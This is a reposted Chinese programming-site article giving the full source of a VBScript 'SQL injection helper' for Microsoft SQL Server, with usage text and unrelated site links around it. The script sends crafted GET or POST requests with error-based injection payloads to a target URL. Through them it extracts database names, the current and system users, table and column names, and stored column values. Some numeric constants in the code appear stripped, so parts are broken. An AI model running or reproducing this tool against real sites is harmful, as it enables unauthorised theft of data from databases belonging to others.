位置: 编程技术 - 正文

Sql2005注射辅助脚本[粗糙版](sql注入攻击代码)

编辑:rootadmin
作者:Tr4c3 '为了保持脚本的通用性,放弃了 and (select col_name(object_id('TableName'),N))=0这样的用法。 '欲返回韩文等字符可修改或者行,更多的设置要自己修改 '更多功能请大家自己加入 Const method = "Get" '提交方式请修改此处,有get和post可选 Const DisPlay = "D" 'S 保存到文件,D输出到屏幕 Dim strUrl_B, strUrl, i, k, MyArray, strArg, strD strUrl_B = " '基于注射点的不确定性,此处请手工更改 i = 1 '库的基数 k = 0 '表和字段的基数 MyArray = Split(strUrl_B, "?", -1, 1) strUrl = MyArray(0) '取url strArg = MyArray(1) '取参数 Set Args = Wscript.Arguments If Args.Count = 0 Then ShowU End If 'If Args.Count =1 And LCase(Args(0)) '************************************************************************ ' 爆库 '************************************************************************ If Args.Count =1 Then If LCase(Trim(Args(0)))="databases" Then ResuT("---------------===============================--------------") ResuT("All The DataBases:") Do strData = " and quotename(db_name("&i&"))=0--" sqlInj(strData) i = i + 1 Loop Until StrD="" ResuT("---------------===============================--------------") Wscript.Quit ElseIf LCase(Trim(Args(0)))= "info" then ResuT("---------------===============================--------------") ResuT("The Current Database is:") strData = " and quotename(db_name())=0--" sqlInj(strData) ResuT("---------------===============================--------------") ResuT("The database User is:") strData = " and quotename(user)=0--" sqlInj(strData) ResuT("---------------===============================--------------") ResuT("The System_user is:") strData = " and quotename(System_user)=0--" sqlInj(strData) ResuT("---------------===============================--------------") Wscript.Quit End If End If '************************************************************************ ' 爆表 '************************************************************************ If Args.Count=2 And LCase(Trim(Args(1)))="tables" Then ResuT("---------------===============================--------------") ResuT("The Tables Of " & Args(0)) Do strData = " and (select top 1 quotename(name) from "& Args(0) & ".dbo.sysobjects where xtype=char() AND name not in (select top "& k &" name from "&Args(0)&".dbo.sysobjects where xtype=char()))=0--" sqlInj(strData) k = k + 1 Loop Until StrD="" ResuT("---------------===============================--------------") Wscript.Quit End If '************************************************************************ ' 爆字段 '************************************************************************ If Args.Count=3 And LCase(Trim(Args(2)))="cols" Then Database = Args(0) Table = Args(1) TarGet = DataBase & ".dbo." & Table TarGetCol = Database & ".DBO.SYSCOLUMNS" ResuT("---------------===============================--------------") ResuT("The Columns Of " & TarGet) Do strData = " and (select top 1 Quotename(name) from "& TarGetCol &" where id=object_id('"& TarGet &"') and name not in (select top "&k&" name from "& TarGetCol &" where id=object_id('"& TarGet &"')))=0--" sqlInj(strData) k = k + 1 Loop Until StrD="" ResuT("---------------===============================--------------") Wscript.Quit End If '************************************************************************ ' 爆字段值 '************************************************************************ If Args.Count=4 And LCase(Trim(Args(3)))="values" Then Database = Args(0) Table = Args(1) col = Args(2) Target = Database & ".dbo." & Table ResuT("---------------===============================--------------") ResuT("The Values Of " & Args(2) & " in "&Target) Do strData = " and (select top 1 quotename("& col &") from "& Target & " where "& col &" not in (select top "& k &" "& col &" from "& Target &"))=0--" sqlInj(strData) k = k + 1 Loop Until StrD="" ResuT("---------------===============================--------------") Wscript.Quit End If Sub SqlInj(value) If UCase(method) = "GET" Then value = strArg & value Set objXML = CreateObject("Microsoft.XMLHTTP") objXML.Open "GET", strUrl &"?" & value , False objXML.SetRequestHeader "Referer", strUrl 'objXML.SetRequestHeader "Accept-Language", "EUC-KR" objXML.send() strRevS = objXML.ResponseText '默认用这个 'strRevS = bytes2BSTR(objXML.ResponseBody) '韩文有时候要用这个 If InStr(strRevS,"'[")<>0 And InStr(strRevs,"]'")<>0 Then strD = Mid(strRevS,InStr(strRevS,"'[")+2, InStr(strRevs,"]'") - Instr(strRevS,"'[")-2) ResuT(" |_"&strD) Else strD = "" End If ElseIf UCase(method) = "POST" Then value = strArg & value Set objXML = CreateObject("Microsoft.XMLHTTP") objXML.Open "POST", strUrl, False objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded" objXML.SetRequestHeader "Referer", strUrl objXML.send(UrlEncode(value)) strRevS = objXML.ResponseText '默认用这个 'strRevS = bytes2BSTR(objXML.ResponseBody) '韩文有时候要用这个 If InStr(strRevS,"'[")<>0 And InStr(strRevs,"]'")<>0 Then strD = Mid(strRevS,InStr(strRevS,"'[")+2, InStr(strRevs,"]'") - Instr(strRevS,"'[")-2) ResuT(" |_"&strD) Else strD = "" End If End If End Sub Function ResuT(strInfo) If UCase(DisPlay) = "S" Then Set fso = CreateObject("Scripting.FileSystemObject") Set fso1 = fso.OpenTextFile("result.txt",8,True) fso1.WriteLine(strInfo) fso1.Close Set fso = Nothing ElseIf UCase(DisPlay) = "D" Then Wscript.Echo(strInfo) End If End Function Function UrlEncode(str) str = Replace(str," ","+") UrlEncode = str End Function Function bytes2BSTR(vIn) strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End Function Sub showU() With Wscript .Echo("+--------------------------=====================------------------------------+") .Echo("Sql注射辅助脚本(粗糙版),用于mssql显错模式 By Tr4c3[at][Dot]com") .Echo("Usage:") .Echo(" cscript"&.ScriptName&" info--爆基本信息") .Echo(" cscript"&.ScriptName&" databases--爆所有库名") .Echo(" cscript"&.ScriptName&" pubs tables--爆库pubs里所有用户表名") .Echo(" cscript"&.ScriptName&" pubs authors cols--爆库pubs里authors表的所有字段名") .Echo(" cscript"&.ScriptName&" pubs authors au_id values--爆pubs.dbo.authors里au_id的值") .Echo("+--------------------------=====================------------------------------+") .Quit End with End Sub

推荐整理分享Sql2005注射辅助脚本[粗糙版](sql注入攻击代码),希望有所帮助,仅作参考,欢迎阅读内容。

Sql2005注射辅助脚本[粗糙版](sql注入攻击代码)

文章相关热门搜索词:sql注入神器,sql注入的辅助工具,sql 注入工具,sql注入修复方式,sql注入修补方法,sql注入修补方法,sql注入脚本编写,sql 注入工具,内容如对您有帮助,希望把文章链接给更多的朋友!

sql 不允许进行远程连接可能会导致此失败的解决方法 (provider:命名管道提供程序,error:-无法打开到SQLServer的连接)网站的数据库连接语句为:Server=.0.0.1;uid=sa;pwd=xxx;database=xxx经测试把server=.0.0.1改为server=.

MSSQL数据库备份导入MSSQL 转到的步骤1.生成for版本的数据库脚本的mangerstudio--打开"对象资源管理器"(没有的话按F8),连接到你的实例--右键要转到的库--任务--生成脚

MS-sql 拒绝了对对象 'xxx' (数据库 'xxx',架构 'dbo')的 SELECT 权限的解决方法 问题:Sqlserver默认设置下不允许远程登陆1外围设置tcp/ip和namedpipe同时启用2服务器--〉属性--〉安全性--〉sqlserver和windows认证模式问题:拒绝了对对象'xx

标签: sql注入攻击代码

本文链接地址:https://www.jiuchutong.com/biancheng/319242.html 转载请保留说明!

上一篇:SQL Server 2005恢复数据库详细图文教程(sql server怎么恢复)

下一篇:sql 2005不允许进行远程连接可能会导致此失败的解决方法(不能防止sql注入)

  • 个体工商户的报税流程
  • 公司怎么进行网上注册
  • 股东分红需要开股东会决定吗?
  • 发票验旧以后还有用吗
  • 报税利润表的第二季度本期金额本年累计金额是什么
  • 指定会计科目是
  • 电子版发票怎么弄
  • 培训发生的差旅费的会计准则有哪些
  • 长期负债率分析
  • 行政事业单位资产管理工作总结
  • 广告公司制作警示牌可以开具什么样的发票?
  • 建筑业发票可以在备注里加备注么
  • 不开票不走公账的后果
  • 没有税收编码的发票怎么开具红字票
  • 收到违约金应缴增值税吗
  • 营改增的优惠政策
  • 餐饮增值税发票税率
  • 营改增后中小企业的税收发生的变化
  • 技术研发费加计扣除政策
  • 加计扣除的研发费用范围
  • 参展补助
  • 用于采购的借款账户
  • 公司股权转让的税费处理
  • 无形资产研发支出适用于税前加计扣除的政策
  • 发票联和抵扣联丢失怎么办
  • 货币资金包括哪些
  • php生成guid
  • 进销存单据
  • win7系统鼠标不能用了怎么设置
  • 农产品收购发票使用范围
  • 纳税人辅导期申报流程
  • 来料加工企业需注意什么
  • 嵌入式软件开票税负是1%还是3%
  • 为什么说网络安全靠人民
  • mkdir 命令
  • 稳岗补贴什么时候到账
  • 旅行社差额征税政策
  • 计提了年终奖还能冲回吗
  • 企业三季报
  • 增值税退税流程怎么操作
  • 工资薪金与劳务报酬的区别有哪些
  • 商誉减值可以避税吗
  • 合同可以盖财务章子吗
  • 一般纳税人适用3%税率情况
  • 个体户注销工商需要等公示时间结束吗?
  • 机动车销售统一专票怎么做账
  • 计提税金如何做凭证
  • 纺织品业务
  • 开具发票后什么情况下可以零申报?
  • 冲减以前年度利润
  • 车船费代交是什么意思
  • 超过社保基数的工资怎么发放
  • 加计抵减10%政策适用范围
  • 长期应收款是否计提坏账准备
  • 进项票超期未认证怎么办
  • mysql的20条优化方法
  • DBCC CHECKIDENT 重置数据库标识列从某一数值开始
  • mysql根据另一张表更新
  • 为什么总让升级浏览器
  • windows mobile应用下载
  • xp系统被锁定怎么解除锁定
  • ubuntu怎么用linux
  • win10磁盘占用100%卡死
  • linux系统
  • linux中的挂载命令
  • win8系统连接共享打印机需要设置什么
  • linux ii
  • js面向对象的几种方式
  • 在微信支付宝借贷会影响征信吗
  • shell数值比较
  • Node.js中的什么模块是用于处理文件和目录的
  • shell脚本相互调用
  • [Unity3D]Unity3D游戏开发之塔防游戏项目讲解(上)
  • js获取div下指定元素的值
  • 新中国税务历史
  • 一年内在两家公司任职个税汇算清缴
  • 研发费用加计扣除是什么意思啊
  • 房地产开发企业土地成交额与去年同期相比增长约
  • 中国移动的电子协议推送服务是什么
  • 记账凭证编制的依据可以用
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设